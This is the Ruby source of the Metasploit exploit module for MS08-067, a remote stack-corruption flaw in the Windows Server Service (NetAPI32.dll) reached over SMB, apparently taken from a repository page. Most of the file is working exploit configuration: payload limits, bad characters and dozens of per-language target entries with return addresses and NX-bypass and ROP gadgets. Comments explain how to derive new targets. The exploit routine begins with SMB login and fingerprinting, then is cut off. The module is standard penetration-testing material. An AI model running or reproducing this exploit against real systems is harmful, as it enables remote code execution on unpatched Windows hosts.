Path: blob/master/modules/exploits/windows/smb/ms08_067_netapi.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::SMB::Client1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'MS08-067 Microsoft Server Service Relative Path Stack Corruption',16'Description' => %q{17This module exploits a parsing flaw in the path canonicalization code of18NetAPI32.dll through the Server Service. This module is capable of bypassing19NX on some operating systems and service packs. The correct target must be20used to prevent the Server Service (along with a dozen others in the same21process) from crashing. Windows XP targets seem to handle multiple successful22exploitation events, but 2003 targets will often crash or hang on subsequent23attempts. This is just the first version of this module, full support for24NX bypass on 2003, along with other platforms, is still in development.25},26'Author' => [27'hdm', # with tons of input/help/testing from the community28'Brett Moore <brett.moore[at]insomniasec.com>',29'frank2 <frank2[at]dc949.org>', # check() detection30'jduck', # XP SP2/SP3 AlwaysOn DEP bypass31],32'License' => MSF_LICENSE,33'Notes' => {34'AKA' => ['ECLIPSEDWING'],35'Stability' => UNKNOWN_STABILITY,36'Reliability' => UNKNOWN_RELIABILITY,37'SideEffects' => UNKNOWN_SIDE_EFFECTS38},39'References' => [40%w(CVE 2008-4250),41%w(OSVDB 49243),42%w(MSB MS08-067),43# If this vulnerability is found, ms08-67 is exposed as well44['URL', 'https://www.rapid7.com/db/vulnerabilities/dcerpc-ms-netapi-netpathcanonicalize-dos/']45],46'DefaultOptions' => {47'EXITFUNC' => 'thread',48},49'Privileged' => true,50'Payload' => {51'Space' => 408,52'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40",53'Prepend' => "\x81\xE4\xF0\xFF\xFF\xFF", # stack alignment54'StackAdjustment' => -3500,5556},57'Platform' => 'win',58'DefaultTarget' => 0,59'Targets' => [60#61# Automatic targetting via fingerprinting62#63['Automatic Targeting', { 'auto' => true }],6465#66# UNIVERSAL TARGETS67#6869#70# Antoine's universal for Windows 200071# Warning: DO NOT CHANGE THE OFFSET OF THIS TARGET72#73[74'Windows 2000 Universal',75{76'Ret' => 0x001f1cb0,77'Scratch' => 0x00020408,78}79], # JMP EDI SVCHOST.EXE8081#82# Standard return-to-ESI without NX bypass83# Warning: DO NOT CHANGE THE OFFSET OF THIS TARGET84#85[86'Windows XP SP0/SP1 Universal',87{88'Ret' => 0x01001361,89'Scratch' => 0x00020408,90}91], # JMP ESI SVCHOST.EXE9293# Standard return-to-ESI without NX bypass94[95'Windows 2003 SP0 Universal',96{97'Ret' => 0x0100129e,98'Scratch' => 0x00020408,99}100], # JMP ESI SVCHOST.EXE101102#103# ENGLISH TARGETS104#105106# jduck's AlwaysOn NX Bypass for XP SP2107[108'Windows XP SP2 English (AlwaysOn NX)',109{110# No pivot is needed, we drop into our rop111'Scratch' => 0x00020408,112'UseROP' => '5.1.2600.2180'113}114],115116# Metasploit's NX bypass for XP SP2/SP3117[118'Windows XP SP2 English (NX)',119{120'Ret' => 0x6f88f727,121'DisableNX' => 0x6f8916e2,122'Scratch' => 0x00020408123}124], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL125126# jduck's AlwaysOn NX Bypass for XP SP3127[128'Windows XP SP3 English (AlwaysOn NX)',129{130# No pivot is needed, we drop into our rop131'Scratch' => 0x00020408,132'UseROP' => '5.1.2600.5512'133}134],135136# Metasploit's NX bypass for XP SP2/SP3137[138'Windows XP SP3 English (NX)',139{140'Ret' => 0x6f88f807,141'DisableNX' => 0x6f8917c2,142'Scratch' => 0x00020408143}144], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL145146#147# NON-ENGLISH TARGETS - AUTOMATICALLY GENERATED148#149150# Metasploit's NX bypass for XP SP2/SP3151[152'Windows XP SP2 Arabic (NX)',153{154'Ret' => 0x6fd8f727,155'DisableNX' => 0x6fd916e2,156'Scratch' => 0x00020408157}158], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL159160# Metasploit's NX bypass for XP SP2/SP3161[162'Windows XP SP2 Chinese - Traditional / Taiwan (NX)',163{164'Ret' => 0x5860f727,165'DisableNX' => 0x586116e2,166'Scratch' => 0x00020408167}168], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL169170# Metasploit's NX bypass for XP SP2/SP3171[172'Windows XP SP2 Chinese - Simplified (NX)',173{174'Ret' => 0x58fbf727,175'DisableNX' => 0x58fc16e2,176'Scratch' => 0x00020408177}178], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL179180# Metasploit's NX bypass for XP SP2/SP3181[182'Windows XP SP2 Chinese - Traditional (NX)',183{184'Ret' => 0x5860f727,185'DisableNX' => 0x586116e2,186'Scratch' => 0x00020408187}188], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL189190# Metasploit's NX bypass for XP SP2/SP3191[192'Windows XP SP2 Czech (NX)',193{194'Ret' => 0x6fe1f727,195'DisableNX' => 0x6fe216e2,196'Scratch' => 0x00020408197}198], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL199200# Metasploit's NX bypass for XP SP2/SP3201[202'Windows XP SP2 Danish (NX)',203{204'Ret' => 0x5978f727,205'DisableNX' => 0x597916e2,206'Scratch' => 0x00020408207}208], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL209210# Metasploit's NX bypass for XP SP2/SP3211[212'Windows XP SP2 German (NX)',213{214'Ret' => 0x6fd9f727,215'DisableNX' => 0x6fda16e2,216'Scratch' => 0x00020408217}218], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL219220# Metasploit's NX bypass for XP SP2/SP3221[222'Windows XP SP2 Greek (NX)',223{224'Ret' => 0x592af727,225'DisableNX' => 0x592b16e2,226'Scratch' => 0x00020408227}228], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL229230# Metasploit's NX bypass for XP SP2/SP3231[232'Windows XP SP2 Spanish (NX)',233{234'Ret' => 0x6fdbf727,235'DisableNX' => 0x6fdc16e2,236'Scratch' => 0x00020408237}238], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL239240# Metasploit's NX bypass for XP SP2/SP3241[242'Windows XP SP2 Finnish (NX)',243{244'Ret' => 0x597df727,245'DisableNX' => 0x597e16e2,246'Scratch' => 0x00020408247}248], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL249250# Metasploit's NX bypass for XP SP2/SP3251[252'Windows XP SP2 French (NX)',253{254'Ret' => 0x595bf727,255'DisableNX' => 0x595c16e2,256'Scratch' => 0x00020408257}258], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL259260# Metasploit's NX bypass for XP SP2/SP3261[262'Windows XP SP2 Hebrew (NX)',263{264'Ret' => 0x5940f727,265'DisableNX' => 0x594116e2,266'Scratch' => 0x00020408267}268], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL269270# Metasploit's NX bypass for XP SP2/SP3271[272'Windows XP SP2 Hungarian (NX)',273{274'Ret' => 0x5970f727,275'DisableNX' => 0x597116e2,276'Scratch' => 0x00020408277}278], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL279280# Metasploit's NX bypass for XP SP2/SP3281[282'Windows XP SP2 Italian (NX)',283{284'Ret' => 0x596bf727,285'DisableNX' => 0x596c16e2,286'Scratch' => 0x00020408287}288], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL289290# Metasploit's NX bypass for XP SP2/SP3291[292'Windows XP SP2 Japanese (NX)',293{294'Ret' => 0x567fd3be,295'DisableNX' => 0x568016e2,296'Scratch' => 0x00020408297}298], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL299300# Metasploit's NX bypass for XP SP2/SP3301[302'Windows XP SP2 Korean (NX)',303{304'Ret' => 0x6fd6f727,305'DisableNX' => 0x6fd716e2,306'Scratch' => 0x00020408307}308], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL309310# Metasploit's NX bypass for XP SP2/SP3311[312'Windows XP SP2 Dutch (NX)',313{314'Ret' => 0x596cf727,315'DisableNX' => 0x596d16e2,316'Scratch' => 0x00020408317}318], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL319320# Metasploit's NX bypass for XP SP2/SP3321[322'Windows XP SP2 Norwegian (NX)',323{324'Ret' => 0x597cf727,325'DisableNX' => 0x597d16e2,326'Scratch' => 0x00020408327}328], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL329330# Metasploit's NX bypass for XP SP2/SP3331[332'Windows XP SP2 Polish (NX)',333{334'Ret' => 0x5941f727,335'DisableNX' => 0x594216e2,336'Scratch' => 0x00020408337}338], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL339340# Metasploit's NX bypass for XP SP2/SP3341[342'Windows XP SP2 Portuguese - Brazilian (NX)',343{344'Ret' => 0x596ff727,345'DisableNX' => 0x597016e2,346'Scratch' => 0x00020408347}348], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL349350# Metasploit's NX bypass for XP SP2/SP3351[352'Windows XP SP2 Portuguese (NX)',353{354'Ret' => 0x596bf727,355'DisableNX' => 0x596c16e2,356'Scratch' => 0x00020408357}358], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL359360# Metasploit's NX bypass for XP SP2/SP3361[362'Windows XP SP2 Russian (NX)',363{364'Ret' => 0x6fe1f727,365'DisableNX' => 0x6fe216e2,366'Scratch' => 0x00020408367}368], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL369370# Metasploit's NX bypass for XP SP2/SP3371[372'Windows XP SP2 Swedish (NX)',373{374'Ret' => 0x597af727,375'DisableNX' => 0x597b16e2,376'Scratch' => 0x00020408377}378], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL379380# Metasploit's NX bypass for XP SP2/SP3381[382'Windows XP SP2 Turkish (NX)',383{384'Ret' => 0x5a78f727,385'DisableNX' => 0x5a7916e2,386'Scratch' => 0x00020408387}388], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL389390# Metasploit's NX bypass for XP SP2/SP3391[392'Windows XP SP3 Arabic (NX)',393{394'Ret' => 0x6fd8f807,395'DisableNX' => 0x6fd917c2,396'Scratch' => 0x00020408397}398], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL399400# Metasploit's NX bypass for XP SP2/SP3401[402'Windows XP SP3 Chinese - Traditional / Taiwan (NX)',403{404'Ret' => 0x5860f807,405'DisableNX' => 0x586117c2,406'Scratch' => 0x00020408407}408], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL409410# Metasploit's NX bypass for XP SP2/SP3411[412'Windows XP SP3 Chinese - Simplified (NX)',413{414'Ret' => 0x58fbf807,415'DisableNX' => 0x58fc17c2,416'Scratch' => 0x00020408417}418], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL419420# Metasploit's NX bypass for XP SP2/SP3421[422'Windows XP SP3 Chinese - Traditional (NX)',423{424'Ret' => 0x5860f807,425'DisableNX' => 0x586117c2,426'Scratch' => 0x00020408427}428], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL429430# Metasploit's NX bypass for XP SP2/SP3431[432'Windows XP SP3 Czech (NX)',433{434'Ret' => 0x6fe1f807,435'DisableNX' => 0x6fe217c2,436'Scratch' => 0x00020408437}438], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL439440# Metasploit's NX bypass for XP SP2/SP3441[442'Windows XP SP3 Danish (NX)',443{444'Ret' => 0x5978f807,445'DisableNX' => 0x597917c2,446'Scratch' => 0x00020408447}448], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL449450# Metasploit's NX bypass for XP SP2/SP3451[452'Windows XP SP3 German (NX)',453{454'Ret' => 0x6fd9f807,455'DisableNX' => 0x6fda17c2,456'Scratch' => 0x00020408457}458], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL459460# Metasploit's NX bypass for XP SP2/SP3461[462'Windows XP SP3 Greek (NX)',463{464'Ret' => 0x592af807,465'DisableNX' => 0x592b17c2,466'Scratch' => 0x00020408467}468], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL469470# Metasploit's NX bypass for XP SP2/SP3471[472'Windows XP SP3 Spanish (NX)',473{474'Ret' => 0x6fdbf807,475'DisableNX' => 0x6fdc17c2,476'Scratch' => 0x00020408477}478], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL479480# Metasploit's NX bypass for XP SP2/SP3481[482'Windows XP SP3 Finnish (NX)',483{484'Ret' => 0x597df807,485'DisableNX' => 0x597e17c2,486'Scratch' => 0x00020408487}488], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL489490# Metasploit's NX bypass for XP SP2/SP3491[492'Windows XP SP3 French (NX)',493{494'Ret' => 0x595bf807,495'DisableNX' => 0x595c17c2,496'Scratch' => 0x00020408497}498], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL499500# Metasploit's NX bypass for XP SP2/SP3501[502'Windows XP SP3 Hebrew (NX)',503{504'Ret' => 0x5940f807,505'DisableNX' => 0x594117c2,506'Scratch' => 0x00020408507}508], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL509510# Metasploit's NX bypass for XP SP2/SP3511[512'Windows XP SP3 Hungarian (NX)',513{514'Ret' => 0x5970f807,515'DisableNX' => 0x597117c2,516'Scratch' => 0x00020408517}518], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL519520# Metasploit's NX bypass for XP SP2/SP3521[522'Windows XP SP3 Italian (NX)',523{524'Ret' => 0x596bf807,525'DisableNX' => 0x596c17c2,526'Scratch' => 0x00020408527}528], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL529530# Metasploit's NX bypass for XP SP2/SP3531[532'Windows XP SP3 Japanese (NX)',533{534'Ret' => 0x567fd4d2,535'DisableNX' => 0x568017c2,536'Scratch' => 0x00020408537}538], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL539540# Metasploit's NX bypass for XP SP2/SP3541[542'Windows XP SP3 Korean (NX)',543{544'Ret' => 0x6fd6f807,545'DisableNX' => 0x6fd717c2,546'Scratch' => 0x00020408547}548], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL549550# Metasploit's NX bypass for XP SP2/SP3551[552'Windows XP SP3 Dutch (NX)',553{554'Ret' => 0x596cf807,555'DisableNX' => 0x596d17c2,556'Scratch' => 0x00020408557}558], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL559560# Metasploit's NX bypass for XP SP2/SP3561[562'Windows XP SP3 Norwegian (NX)',563{564'Ret' => 0x597cf807,565'DisableNX' => 0x597d17c2,566'Scratch' => 0x00020408567}568], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL569570# Metasploit's NX bypass for XP SP2/SP3571[572'Windows XP SP3 Polish (NX)',573{574'Ret' => 0x5941f807,575'DisableNX' => 0x594217c2,576'Scratch' => 0x00020408577}578], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL579580# Metasploit's NX bypass for XP SP2/SP3581[582'Windows XP SP3 Portuguese - Brazilian (NX)',583{584'Ret' => 0x596ff807,585'DisableNX' => 0x597017c2,586'Scratch' => 0x00020408587}588], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL589590# Metasploit's NX bypass for XP SP2/SP3591[592'Windows XP SP3 Portuguese (NX)',593{594'Ret' => 0x596bf807,595'DisableNX' => 0x596c17c2,596'Scratch' => 0x00020408597}598], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL599600# Metasploit's NX bypass for XP SP2/SP3601[602'Windows XP SP3 Russian (NX)',603{604'Ret' => 0x6fe1f807,605'DisableNX' => 0x6fe217c2,606'Scratch' => 0x00020408607}608], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL609610# Metasploit's NX bypass for XP SP2/SP3611[612'Windows XP SP3 Swedish (NX)',613{614'Ret' => 0x597af807,615'DisableNX' => 0x597b17c2,616'Scratch' => 0x00020408617}618], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL619620# Metasploit's NX bypass for XP SP2/SP3621[622'Windows XP SP3 Turkish (NX)',623{624'Ret' => 0x5a78f807,625'DisableNX' => 0x5a7917c2,626'Scratch' => 0x00020408627}628], # JMP ESI ACGENRAL.DLL, NX/NX BYPASS ACGENRAL.DLL629630#631# Windows 2003 Targets632#633634# Standard return-to-ESI without NX bypass635[636'Windows 2003 SP1 English (NO NX)',637{638'Ret' => 0x71bf21a2,639'Scratch' => 0x00020408,640}641], # JMP ESI WS2HELP.DLL642643# Brett Moore's crafty NX bypass for 2003 SP1644[645'Windows 2003 SP1 English (NX)',646{647'RetDec' => 0x7c90568c, # dec ESI, ret @SHELL32.DLL648'RetPop' => 0x7ca27cf4, # push ESI, pop EBP, ret @SHELL32.DLL649'JmpESP' => 0x7c86fed3, # jmp ESP @NTDLL.DLL650'DisableNX' => 0x7c83e413, # NX disable @NTDLL.DLL651'Scratch' => 0x00020408,652}653],654655# Standard return-to-ESI without NX bypass656[657'Windows 2003 SP1 Japanese (NO NX)',658{659'Ret' => 0x71a921a2,660'Scratch' => 0x00020408,661}662], # JMP ESI WS2HELP.DLL663664# Standard return-to-ESI without NX bypass665[666'Windows 2003 SP1 Spanish (NO NX)',667{668'Ret' => 0x71ac21a2,669'Scratch' => 0x00020408,670}671], # JMP ESI WS2HELP.DLL672673# Brett Moore's crafty NX bypass for 2003 SP1674[675'Windows 2003 SP1 Spanish (NX)',676{677'RetDec' => 0x7c90568c, # dec ESI, ret @SHELL32.DLL678'RetPop' => 0x7ca27cf4, # push ESI, pop EBP, ret @SHELL32.DLL679'JmpESP' => 0x7c86fed3, # jmp ESP @NTDLL.DLL680'DisableNX' => 0x7c83e413, # NX disable @NTDLL.DLL681'Scratch' => 0x00020408,682}683],684# Standard return-to-ESI without NX bypass685# Added by Omar MEZRAG - 0xFFFFFF686[687'Windows 2003 SP1 French (NO NX)',688{689'Ret' => 0x71ac1c40,690'Scratch' => 0x00020408691}692], # JMP ESI WS2HELP.DLL693694# Brett Moore's crafty NX bypass for 2003 SP1695# Added by Omar MEZRAG - 0xFFFFFF696[697'Windows 2003 SP1 French (NX)',698{699'RetDec' => 0x7CA2568C, # dec ESI, ret @SHELL32.DLL700'RetPop' => 0x7CB47CF4, # push ESI, pop EBP, ret 4 @SHELL32.DLL701'JmpESP' => 0x7C98FED3, # jmp ESP @NTDLL.DLL702'DisableNX' => 0x7C95E413, # NX disable @NTDLL.DLL703'Scratch' => 0x00020408704}705],706707# Standard return-to-ESI without NX bypass708[709'Windows 2003 SP2 English (NO NX)',710{711'Ret' => 0x71bf3969,712'Scratch' => 0x00020408,713}714], # JMP ESI WS2HELP.DLL715716# Brett Moore's crafty NX bypass for 2003 SP2717[718'Windows 2003 SP2 English (NX)',719{720'RetDec' => 0x7c86beb8, # dec ESI, ret @NTDLL.DLL721'RetPop' => 0x7ca1e84e, # push ESI, pop EBP, ret @SHELL32.DLL722'JmpESP' => 0x7c86a01b, # jmp ESP @NTDLL.DLL723'DisableNX' => 0x7c83f517, # NX disable @NTDLL.DLL724'Scratch' => 0x00020408,725}726],727728# Standard return-to-ESI without NX bypass729[730'Windows 2003 SP2 German (NO NX)',731{732'Ret' => 0x71a03969,733'Scratch' => 0x00020408,734}735], # JMP ESI WS2HELP.DLL736737# Brett Moore's crafty NX bypass for 2003 SP2738[739'Windows 2003 SP2 German (NX)',740{741'RetDec' => 0x7c98beb8, # dec ESI, ret @NTDLL.DLL742'RetPop' => 0x7cb3e84e, # push ESI, pop EBP, ret @SHELL32.DLL743'JmpESP' => 0x7c98a01b, # jmp ESP @NTDLL.DLL744'DisableNX' => 0x7c95f517, # NX disable @NTDLL.DLL745'Scratch' => 0x00020408,746}747],748749# Brett Moore's crafty NX bypass for 2003 SP2750[751'Windows 2003 SP2 Portuguese (NX)',752{753'RetDec' => 0x7c97beb8, # dec ESI, ret @NTDLL.DLL OK754'RetPop' => 0x7cb2e84e, # push ESI, pop EBP, ret @SHELL32.DLL OK755'JmpESP' => 0x7c97a01b, # jmp ESP @NTDLL.DLL OK756'DisableNX' => 0x7c94f517, # NX disable @NTDLL.DLL757'Scratch' => 0x00020408,758}759],760761# Brett Moore's crafty NX bypass for 2003 SP2 (target by Anderson Bargas)762[763'Windows 2003 SP2 Portuguese - Brazilian (NX)',764{765'RetDec' => 0x7c97beb8, # dec ESI, ret @NTDLL.DLL OK766'RetPop' => 0x7cb2e84e, # push ESI, pop EBP, ret @SHELL32.DLL OK767'JmpESP' => 0x7c97a01b, # jmp ESP @NTDLL.DLL OK768'DisableNX' => 0x7c94f517, # NX disable @NTDLL.DLL769'Scratch' => 0x00020408,770}771],772773# Standard return-to-ESI without NX bypass774[775'Windows 2003 SP2 Spanish (NO NX)',776{777'Ret' => 0x71ac3969,778'Scratch' => 0x00020408,779}780], # JMP ESI WS2HELP.DLL781782# Brett Moore's crafty NX bypass for 2003 SP2783[784'Windows 2003 SP2 Spanish (NX)',785{786'RetDec' => 0x7c86beb8, # dec ESI, ret @NTDLL.DLL787'RetPop' => 0x7ca1e84e, # push ESI, pop EBP, ret @SHELL32.DLL788'JmpESP' => 0x7c86a01b, # jmp ESP @NTDLL.DLL789'DisableNX' => 0x7c83f517, # NX disable @NTDLL.DLL790'Scratch' => 0x00020408,791}792],793794# Standard return-to-ESI without NX bypass795# Provided by Masashi Fujiwara796[797'Windows 2003 SP2 Japanese (NO NX)',798{799'Ret' => 0x71a91ed2,800'Scratch' => 0x00020408801}802], # JMP ESI WS2HELP.DLL803804# Standard return-to-ESI without NX bypass805# Added by Omar MEZRAG - 0xFFFFFF806[807'Windows 2003 SP2 French (NO NX)',808{809'Ret' => 0x71AC2069,810'Scratch' => 0x00020408811}812], # CALL ESI WS2HELP.DLL813814# Brett Moore's crafty NX bypass for 2003 SP2815# Added by Omar MEZRAG - 0xFFFFFF816[817'Windows 2003 SP2 French (NX)',818{819'RetDec' => 0x7C98BEB8, # dec ESI, ret @NTDLL.DLL820'RetPop' => 0x7CB3E84E, # push ESI, pop EBP, ret @SHELL32.DLL821'JmpESP' => 0x7C98A01B, # jmp ESP @NTDLL.DLL822'DisableNX' => 0x7C95F517, # NX disable @NTDLL.DLL823'Scratch' => 0x00020408824}825],826827# Brett Moore's crafty NX bypass for 2003 SP2828[829'Windows 2003 SP2 Chinese - Simplified (NX)',830{831'RetDec' => 0x7c99beb8, # dec ESI, ret @NTDLL.DLL832'RetPop' => 0x7cb5e84e, # push ESI, pop EBP, ret @SHELL32.DLL833'JmpESP' => 0x7c99a01b, # jmp ESP @NTDLL.DLL834'DisableNX' => 0x7c96f517, # NX disable @NTDLL.DLL835'Scratch' => 0x00020408,836}837],838839# Brett Moore's crafty NX bypass for 2003 SP2840[841'Windows 2003 SP2 Czech (NX)',842{843'RetDec' => 0x7c97beb8, # dec ESI, ret @NTDLL.DLL844'RetPop' => 0x7cb1e84e, # push ESI, pop EBP, ret @SHELL32.DLL845'JmpESP' => 0x7c97a01b, # jmp ESP @NTDLL.DLL846'DisableNX' => 0x7c94f517, # NX disable @NTDLL.DLL847'Scratch' => 0x00020408,848}849],850851# Brett Moore's crafty NX bypass for 2003 SP2852[853'Windows 2003 SP2 Dutch (NX)',854{855'RetDec' => 0x7c97beb8, # dec ESI, ret @NTDLL.DLL856'RetPop' => 0x7cb2e84e, # push ESI, pop EBP, ret @SHELL32.DLL857'JmpESP' => 0x7c97a01b, # jmp ESP @NTDLL.DLL858'DisableNX' => 0x7c94f517, # NX disable @NTDLL.DLL859'Scratch' => 0x00020408,860}861],862863# Brett Moore's crafty NX bypass for 2003 SP2864[865'Windows 2003 SP2 Hungarian (NX)',866{867'RetDec' => 0x7c97beb8, # dec ESI, ret @NTDLL.DLL868'RetPop' => 0x7cb2e84e, # push ESI, pop EBP, ret @SHELL32.DLL869'JmpESP' => 0x7c97a01b, # jmp ESP @NTDLL.DLL870'DisableNX' => 0x7c94f517, # NX disable @NTDLL.DLL871'Scratch' => 0x00020408,872}873],874875# Brett Moore's crafty NX bypass for 2003 SP2876[877'Windows 2003 SP2 Italian (NX)',878{879'RetDec' => 0x7c97beb8, # dec ESI, ret @NTDLL.DLL880'RetPop' => 0x7cb2e84e, # push ESI, pop EBP, ret @SHELL32.DLL881'JmpESP' => 0x7c97a01b, # jmp ESP @NTDLL.DLL882'DisableNX' => 0x7c94f517, # NX disable @NTDLL.DLL883'Scratch' => 0x00020408,884}885],886887# Brett Moore's crafty NX bypass for 2003 SP2888[889'Windows 2003 SP2 Russian (NX)',890{891'RetDec' => 0x7c97beb8, # dec ESI, ret @NTDLL.DLL892'RetPop' => 0x7cb2e84e, # push ESI, pop EBP, ret @SHELL32.DLL893'JmpESP' => 0x7c97a01b, # jmp ESP @NTDLL.DLL894'DisableNX' => 0x7c94f517, # NX disable @NTDLL.DLL895'Scratch' => 0x00020408,896}897],898899# Brett Moore's crafty NX bypass for 2003 SP2900[901'Windows 2003 SP2 Swedish (NX)',902{903'RetDec' => 0x7c97beb8, # dec ESI, ret @NTDLL.DLL904'RetPop' => 0x7cb2e84e, # push ESI, pop EBP, ret @SHELL32.DLL905'JmpESP' => 0x7c97a01b, # jmp ESP @NTDLL.DLL906'DisableNX' => 0x7c94f517, # NX disable @NTDLL.DLL907'Scratch' => 0x00020408,908}909],910911# Brett Moore's crafty NX bypass for 2003 SP2912[913'Windows 2003 SP2 Turkish (NX)',914{915'RetDec' => 0x7c96beb8, # dec ESI, ret @NTDLL.DLL916'RetPop' => 0x7cb1e84e, # push ESI, pop EBP, ret @SHELL32.DLL917'JmpESP' => 0x7c96a01b, # jmp ESP @NTDLL.DLL918'DisableNX' => 0x7c93f517, # NX disable @NTDLL.DLL919'Scratch' => 0x00020408,920}921],922923#924# Missing Targets925# Key: T=TODO ?=UNKNOWN U=UNRELIABLE926#927# [?] Windows Vista SP0 - Not tested yet928# [?] Windows Vista SP1 - Not tested yet929#930],931932'DisclosureDate' => '2008-10-28'933)934)935936register_options(937[938OptString.new('SMBPIPE', [true, 'The pipe name to use (BROWSER, SRVSVC)', 'BROWSER']),939]940)941942deregister_options('SMB::ProtocolVersion')943end944945#946#947# *** WINDOWS XP SP2/SP3 TARGETS ***948#949#950# This exploit bypasses NX/NX by returning to a function call inside acgenral.dll that disables NX951# for the process and then returns back to a call ESI instruction. These addresses are different952# between operating systems, service packs, and language packs, but the steps below can be used to953# add new targets.954#955#956# If the target system does not have NX/NX, just place a "call ESI" return into both the Ret and957# DisableNX elements of the target hash.958#959# If the target system does have NX/NX, obtain a copy of the acgenral.dll from that system.960# First obtain the value for the Ret element of the hash with the following command:961#962# $ msfpescan -j esi acgenral.dll963#964# Pick whatever address you like, just make sure it does not contain 00 0a 0d 5c 2f or 2e.965#966# Next, find the location of the function we use to disable NX. Use the following command:967#968# $ msfpescan -r "\x6A\x04\x8D\x45\x08\x50\x6A\x22\x6A\xFF" acgenral.dll969#970# This address should be placed into the DisableNX element of the target hash.971#972# The Scratch element of 0x00020408 should work on all versions of Windows973#974# The actual function we use to disable NX looks like this:975#976# push 4977# lea eax, [ebp+arg_0]978# push eax979# push 22h980# push 0FFFFFFFFh981# mov [ebp+arg_0], 2982# call ds:__imp__NtSetInformationProcess@16983#984#985# *** WINDOWS XP NON-NX TARGETS ***986#987#988# Instead of bypassing NX, just return directly to a "JMP ESI", which takes us to the short989# jump, and finally the shellcode.990#991#992# *** WINDOWS 2003 SP2 TARGETS ***993#994#995# There are only two possible ways to return to NtSetInformationProcess on Windows 2003 SP2,996# both of these are inside NTDLL.DLL and use a return method that is not directly compatible997# with our call stack. To solve this, Brett Moore figured out a multi-step return call chain998# that eventually leads to the NX bypass function.999#1000#1001# *** WINDOWS 2000 TARGETS ***1002#1003#1004# No NX to bypass, just return directly to a "JMP EDX", which takes us to the short1005# jump, and finally the shellcode.1006#1007#1008# *** WINDOWS VISTA TARGETS ***1009#1010# Currently untested, will involve ASLR and NX, should be fun.1011#1012#1013# *** NetprPathCanonicalize IDL ***1014#1015#1016# NET_API_STATUS NetprPathCanonicalize(1017# [in, string, unique] SRVSVC_HANDLE ServerName,1018# [in, string] WCHAR* PathName,1019# [out, size_is(OutbufLen)] unsigned char* Outbuf,1020# [in, range(0,64000)] DWORD OutbufLen,1021# [in, string] WCHAR* Prefix,1022# [in, out] DWORD* PathType,1023# [in] DWORD Flags1024# );1025#10261027def exploit1028begin1029connect(versions: [1])1030smb_login1031rescue Rex::Proto::SMB::Exceptions::LoginError => e1032if e.message =~ /Connection reset/1033print_error('Connection reset during login')1034print_error('This most likely means a previous exploit attempt caused the service to crash')1035return1036else1037raise e1038end1039end10401041# Use a copy of the target1042mytarget = target10431044if target['auto']10451046mytarget = nil10471048print_status('Automatically detecting the target...')1049fprint = smb_fingerprint10501051print_status("Fingerprint: #{fprint['os']} - #{fprint['sp']} - lang:#{fprint['lang']}")10521053# Bail early on unknown 